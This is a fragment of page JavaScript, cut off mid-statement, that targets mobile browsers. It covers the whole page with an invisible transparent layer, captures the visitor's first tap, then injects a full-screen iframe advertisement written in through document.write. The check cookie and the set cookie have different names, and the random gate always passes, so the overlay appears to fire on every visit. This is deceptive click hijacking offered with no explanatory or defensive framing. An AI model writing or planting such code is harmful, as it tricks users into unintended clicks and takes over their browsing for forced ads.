window.addEventListener('DOMContentLoaded', function () { var ua = navigator.userAgent; if (!((/(iPhone|iPod)/.test(ua) && true) || ((! /(iPhone|iPod)/.test(ua)) && true))) { return; } var _ua = (function(u){ return { Mobile:(u.indexOf("windows") != -1 && u.indexOf("phone") != -1) || u.indexOf("iphone") != -1 || u.indexOf("ipod") != -1 || (u.indexOf("android") != -1 && u.indexOf("mobile") != -1) || (u.indexOf("firefox") != -1 && u.indexOf("mobile") != -1) || u.indexOf("blackberry") != -1 } })(window.navigator.userAgent.toLowerCase()); if(!_ua.Mobile){ return; } /* if (!(/(iPhone|iPod)/.test(navigator.userAgent))) { return; } */ (function () { if (!( document.cookie.indexOf('aaa_ima=true') == -1 && (Math.random() * 100) < 100 && (navigator.userAgent.indexOf('Mobile') == -1 || navigator.userAgent.indexOf('Firefox') == -1))){ return; } var body = document.getElementsByTagName('body')[0]; var map = document.createElement('div'); body.style.position = 'relative'; map.style.width = body.clientWidth + 'px'; map.style.height = body.clientHeight + 'px'; map.style.position = 'absolute'; map.style.left = '0'; map.style.top = '0'; map.style.border = 'none'; map.style.padding = '0'; map.style.margin = '0'; map.style.zIndex = '10'; body.appendChild(map); map.addEventListener('click', function () { document.cookie = 'aaac_ima=true;path=/;max-age=21600'; body.removeChild(map); var iframe = document.createElement('iframe'); iframe.style.width = body.clientWidth + 'px'; iframe.style.height = body.clientHeight + 'px'; iframe.style.position = 'absolute'; iframe.style.left = '0'; iframe.style.top = '0'; iframe.style.border = 'none'; iframe.style.padding = '0'; iframe.style.margin = '0'; iframe.style.zIndex = '10'; iframe.id = 'iframe_movie_ad'; body.appendChild(iframe); iframe.contentWindow.document.write('